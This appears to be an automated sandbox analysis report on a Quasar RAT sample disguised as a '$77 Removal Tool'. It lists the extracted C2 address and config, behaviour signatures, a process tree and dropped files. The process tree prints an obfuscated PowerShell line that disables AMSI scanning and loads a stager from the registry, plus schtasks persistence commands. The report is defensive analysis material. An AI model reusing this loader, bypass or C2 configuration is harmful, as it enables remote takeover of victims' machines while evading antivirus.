Resubmissions

03/05/2024, 18:32

240503-w6335aga76

03/05/2024, 18:24

240503-w16basfh8210

Analysis

  • max time kernel
    21s
  • max time network
    46s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/05/2024, 18:24

General

  • Target
    $77 Removal Tool.exe
  • Size 409KB
  • Sample240503-w16basfh82
  • SHA256 ad4f988a89e1ca7d8db44144b8b344a74f10b1a7e3643ad32782c9c24a3bfcb9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 3.1.5

Botnet
  • $77 Flusher

C2
  • even-lemon.gl.at.ply.gg:33587

Mutex
  • $Sxr-3vDee7FzoJnhqjuE3n

Attributes
  • encryption_key

    GX9vycIPcQc04h4dOPgm

  • install_name

    $77Remover.exe

  • log_directory

    Logs

  • reconnect_delay

    1000

  • startup_key

    $77 Rootkit Remover

  • subdirectory

    $77 Removal Tool

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 10 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 56 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of FindShellTrayWindow 15 IoCs
  • Suspicious use of SendNotifyMessage 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:316
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{bb2b34bd-7066-4e51-8b98-7351107022fe}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1532
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:672
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:960
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:388
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:1040
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                1⤵
                • Drops file in System32 directory
                PID:1120
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                • Drops file in System32 directory
                PID:1128
                • C:\Windows\system32\taskhostw.exe
                  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                  2⤵
                    PID:3140
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wjImmlZpmsUu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nzppuECMcHTOFH,[Parameter(Position=1)][Type]$NEeyLgQgXp)$rVoDEitwLbq=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'le'+[Char](99)+''+[Char](116)+''+[Char](101)+'dD'+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+'e'+'m'+[Char](111)+''+'r'+''+'y'+''+[Char](77)+''+[Char](111)+'du'+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+'te'+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+'s'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+'c'+[Char](44)+'S'+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+','+[Char](65)+''+[Char](110)+''+'s'+'i'+'C'+'la'+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s',[MulticastDelegate]);$rVoDEitwLbq.DefineConstructor(''+[Char](82)+''+'T'+'S'+[Char](112)+'ec'+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+'m'+''+[Char](101)+',Hi'+'d'+'eB'+[Char](121)+''+[Char](83)+'i'+'g'+''+','+''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$nzppuECMcHTOFH).SetImplementationFlags(''+'R'+'u'+'n'+''+'t'+''+'i'+''+[Char](109)+''+'e'+''+','+''+'M'+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+'d');$rVoDEitwLbq.DefineMethod(''+'I'+''+'n'+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'',''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'H'+'i'+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+'N'+'e'+''+[Char](119)+''+'S'+'l'+[Char](111)+''+'t'+''+[Char](44)+''+'V'+'i'+'r'+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$NEeyLgQgXp,$nzppuECMcHTOFH).SetImplementationFlags(''+[Char](82)+''+'u'+'nti'+'m'+''+'e'+''+','+'M'+[Char](97)+'n'+[Char](97)+'ge'+'d'+'');Write-Output $rVoDEitwLbq.CreateType();}$fmuyGSTDTYrZf=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+'l')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+'of'+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+'.'+'Un'+[Char](115)+''+'a'+'f'+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+'t'+''+'h'+''+[Char](111)+'d'+[Char](115)+'');$gUzXFtguMvZjcp=$fmuyGSTDTYrZf.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](80)+'r'+[Char](111)+''+'c'+'Ad'+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$hnXDWEIjpcAfTiTDWUZ=wjImmlZpmsUu @([String])([IntPtr]);$ByCMKSwbhiLrXOduYxNkQg=wjImmlZpmsUu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MKYCFKyvCEi=$fmuyGSTDTYrZf.GetMethod('G'+'e'+''+[Char](116)+''+'M'+''+[Char](111)+'du'+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+'l'+''+[Char](51)+''+'2'+'.'+[Char](100)+''+[Char](108)+''+'l'+'')));$NulybXVztypyMR=$gUzXFtguMvZjcp.Invoke($Null,@([Object]$MKYCFKyvCEi,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+'i'+[Char](98)+''+'r'+''+[Char](97)+'r'+[Char](121)+''+'A'+'')));$EqEGWDIoySWciFzIi=$gUzXFtguMvZjcp.Invoke($Null,@([Object]$MKYCFKyvCEi,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+'a'+[Char](108)+''+'P'+''+'r'+''+[Char](111)+''+'t'+''+'e'+''+'c'+''+'t'+'')));$YVVkfgT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NulybXVztypyMR,$hnXDWEIjpcAfTiTDWUZ).Invoke(''+'a'+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+'d'+'l'+[Char](108)+'');$GfuSsBxPrwVKiYOfB=$gUzXFtguMvZjcp.Invoke($Null,@([Object]$YVVkfgT,[Object](''+'A'+''+[Char](109)+'si'+'S'+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+'r'+'')));$jZCDLzcqrR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EqEGWDIoySWciFzIi,$ByCMKSwbhiLrXOduYxNkQg).Invoke($GfuSsBxPrwVKiYOfB,[uint32]8,4,[ref]$jZCDLzcqrR);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GfuSsBxPrwVKiYOfB,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EqEGWDIoySWciFzIi,$ByCMKSwbhiLrXOduYxNkQg).Invoke($GfuSsBxPrwVKiYOfB,[uint32]8,0x20,[ref]$jZCDLzcqrR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+'7'+'7'+''+[Char](115)+''+'t'+''+[Char](97)+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                    2⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:2928
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                  1⤵
                    PID:1164
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                    1⤵
                      PID:1180
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1260
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                        1⤵
                          PID:1308
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1344
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                            1⤵
                              PID:1416
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1448
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:2764
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1540
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1556
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                      1⤵
                                        PID:1664
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                        1⤵
                                          PID:1696
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1732
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                            1⤵
                                              PID:1772
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1816
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                1⤵
                                                  PID:1948
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1964
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:1972
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1460
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:1932
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                          1⤵
                                                            PID:2144
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                            1⤵
                                                              PID:2188
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2336
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2356
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                  1⤵
                                                                    PID:2364
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                    1⤵
                                                                      PID:2540
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                      1⤵
                                                                        PID:2616
                                                                      • C:\Windows\sysmon.exe
                                                                        C:\Windows\sysmon.exe
                                                                        1⤵
                                                                          PID:2632
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                          1⤵
                                                                            PID:2656
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                            1⤵
                                                                              PID:2668
                                                                            • C:\Windows\system32\wbem\unsecapp.exe
                                                                              C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                              1⤵
                                                                                PID:2888
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                1⤵
                                                                                  PID:1480
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                  1⤵
                                                                                    PID:3192
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                    1⤵
                                                                                      PID:3332
                                                                                    • C:\Windows\Explorer.EXE
                                                                                      C:\Windows\Explorer.EXE
                                                                                      1⤵
                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      PID:3420
                                                                                      • C:\Users\Admin\AppData\Local\Temp\$77 Removal Tool.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\$77 Removal Tool.exe"
                                                                                        2⤵
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:2560
                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                          "schtasks" /create /tn "$77 Rootkit Remover" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\$77 Removal Tool.exe" /rl HIGHEST /f
                                                                                          3⤵
                                                                                          • Creates scheduled task(s)
                                                                                          PID:5076
                                                                                        • C:\Users\Admin\AppData\Roaming\$77 Removal Tool\$77Remover.exe
                                                                                          "C:\Users\Admin\AppData\Roaming\$77 Removal Tool\$77Remover.exe"
                                                                                          3⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:4668
                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                            "schtasks" /create /tn "$77 Rootkit Remover" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77 Removal Tool\$77Remover.exe" /rl HIGHEST /f
                                                                                            4⤵
                                                                                            • Creates scheduled task(s)
                                                                                            PID:1640
                                                                                        • C:\Users\Admin\AppData\Local\Temp\install.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\install.exe"
                                                                                          3⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:3976
                                                                                        • C:\Windows\SysWOW64\SCHTASKS.exe
                                                                                          "SCHTASKS.exe" /create /tn "$77$77 Removal Tool.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\$77 Removal Tool.exe'" /sc onlogon /rl HIGHEST
                                                                                          3⤵
                                                                                          • Creates scheduled task(s)
                                                                                          PID:2860
                                                                                      • C:\Windows\system32\taskmgr.exe
                                                                                        "C:\Windows\system32\taskmgr.exe" /4
                                                                                        2⤵
                                                                                        • Checks SCSI registry key(s)
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                        • Suspicious use of SendNotifyMessage
                                                                                        PID:2428
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                      1⤵
                                                                                        PID:3532
                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                        1⤵
                                                                                          PID:3712
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:3868
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:4080
                                                                                          • C:\Windows\system32\SppExtComObj.exe
                                                                                            C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                            1⤵
                                                                                              PID:4632
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                              1⤵
                                                                                                PID:4916
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                1⤵
                                                                                                • Modifies data under HKEY_USERS
                                                                                                PID:4952
                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                1⤵
                                                                                                  PID:1320
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                  1⤵
                                                                                                    PID:2412
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                    1⤵
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:548
                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                    1⤵
                                                                                                      PID:1908
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                      1⤵
                                                                                                        PID:4808
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                        1⤵
                                                                                                          PID:364
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:4580
                                                                                                          • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                            1⤵
                                                                                                              PID:4060
                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                              1⤵
                                                                                                                PID:4036
                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                1⤵
                                                                                                                  PID:3028
                                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                  1⤵
                                                                                                                    PID:4936
                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                    1⤵
                                                                                                                      PID:1920
                                                                                                                    • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                      C:\Windows\System32\WaaSMedicAgent.exe 781e7ceaf58a0405e497c19cb60817bb PgeU1kFDAEm1clcFwNYR9w.0.1.0.0.0
                                                                                                                      1⤵
                                                                                                                      • Sets service image path in registry
                                                                                                                      PID:4500
                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        2⤵
                                                                                                                          PID:4692
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                        1⤵
                                                                                                                          PID:720
                                                                                                                        • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                          C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                          1⤵
                                                                                                                            PID:4256
                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                            1⤵
                                                                                                                              PID:3596
                                                                                                                            • C:\Windows\System32\mousocoreworker.exe
                                                                                                                              C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                              1⤵
                                                                                                                              • Checks processor information in registry
                                                                                                                              • Enumerates system info in registry
                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:4296
                                                                                                                            • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                              "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
                                                                                                                              1⤵
                                                                                                                                PID:376

                                                                                                                              Network

                                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                                    Replay Monitor

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                                                                                                                                    Downloads

                                                                                                                                    install.exe

                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\install.exe
                                                                                                                                    • Size 162KB
                                                                                                                                    • SHA256 a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                    $77Remover.exe

                                                                                                                                    • Path C:\Users\Admin\AppData\Roaming\$77 Removal Tool\$77Remover.exe
                                                                                                                                    • Size 409KB
                                                                                                                                    • SHA256 ad4f988a89e1ca7d8db44144b8b344a74f10b1a7e3643ad32782c9c24a3bfcb9
                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                    Schedule Maintenance Work

                                                                                                                                    • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                                                                    • Size 2KB
                                                                                                                                    • SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
                                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                                    Schedule Maintenance Work

                                                                                                                                    • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                                                                    • Size 2KB
                                                                                                                                    • SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
                                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                                    Schedule Wake To Work

                                                                                                                                    • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                                                                    • Size 2KB
                                                                                                                                    • SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
                                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                                    Schedule Wake To Work

                                                                                                                                    • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                                                                    • Size 2KB
                                                                                                                                    • SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
                                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                                    Schedule Work

                                                                                                                                    • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                                    • Size 2KB
                                                                                                                                    • SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
                                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                                    Schedule Work

                                                                                                                                    • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                                    • Size 2KB
                                                                                                                                    • SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
                                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                                    __PSScriptPolicyTest_sjiucjpd.z55.ps1

                                                                                                                                    • Path C:\Windows\Temp\__PSScriptPolicyTest_sjiucjpd.z55.ps1
                                                                                                                                    • Size 60B
                                                                                                                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                                    memory/316-88-0x000001F231D30000-0x000001F231D5B000-memory.dmp

                                                                                                                                    memory/316-89-0x00007FF9163F0000-0x00007FF916400000-memory.dmp

                                                                                                                                    memory/316-82-0x000001F231D30000-0x000001F231D5B000-memory.dmp

                                                                                                                                    memory/388-93-0x0000022A15AE0000-0x0000022A15B0B000-memory.dmp

                                                                                                                                    memory/612-55-0x000001E4C93F0000-0x000001E4C941B000-memory.dmp

                                                                                                                                    memory/612-48-0x000001E4C93F0000-0x000001E4C941B000-memory.dmp

                                                                                                                                    memory/612-49-0x000001E4C93F0000-0x000001E4C941B000-memory.dmp

                                                                                                                                    memory/612-47-0x000001E4C93C0000-0x000001E4C93E5000-memory.dmp

                                                                                                                                    memory/612-56-0x00007FF9163F0000-0x00007FF916400000-memory.dmp

                                                                                                                                    memory/672-61-0x000001BB92B60000-0x000001BB92B8B000-memory.dmp

                                                                                                                                    memory/672-66-0x000001BB92B60000-0x000001BB92B8B000-memory.dmp

                                                                                                                                    memory/672-67-0x00007FF9163F0000-0x00007FF916400000-memory.dmp

                                                                                                                                    memory/960-78-0x00007FF9163F0000-0x00007FF916400000-memory.dmp

                                                                                                                                    memory/960-77-0x000001EA35DD0000-0x000001EA35DFB000-memory.dmp

                                                                                                                                    memory/960-71-0x000001EA35DD0000-0x000001EA35DFB000-memory.dmp

                                                                                                                                    memory/1532-39-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                    memory/1532-34-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                    memory/1532-44-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                    memory/1532-41-0x00007FF9557B0000-0x00007FF95586E000-memory.dmp

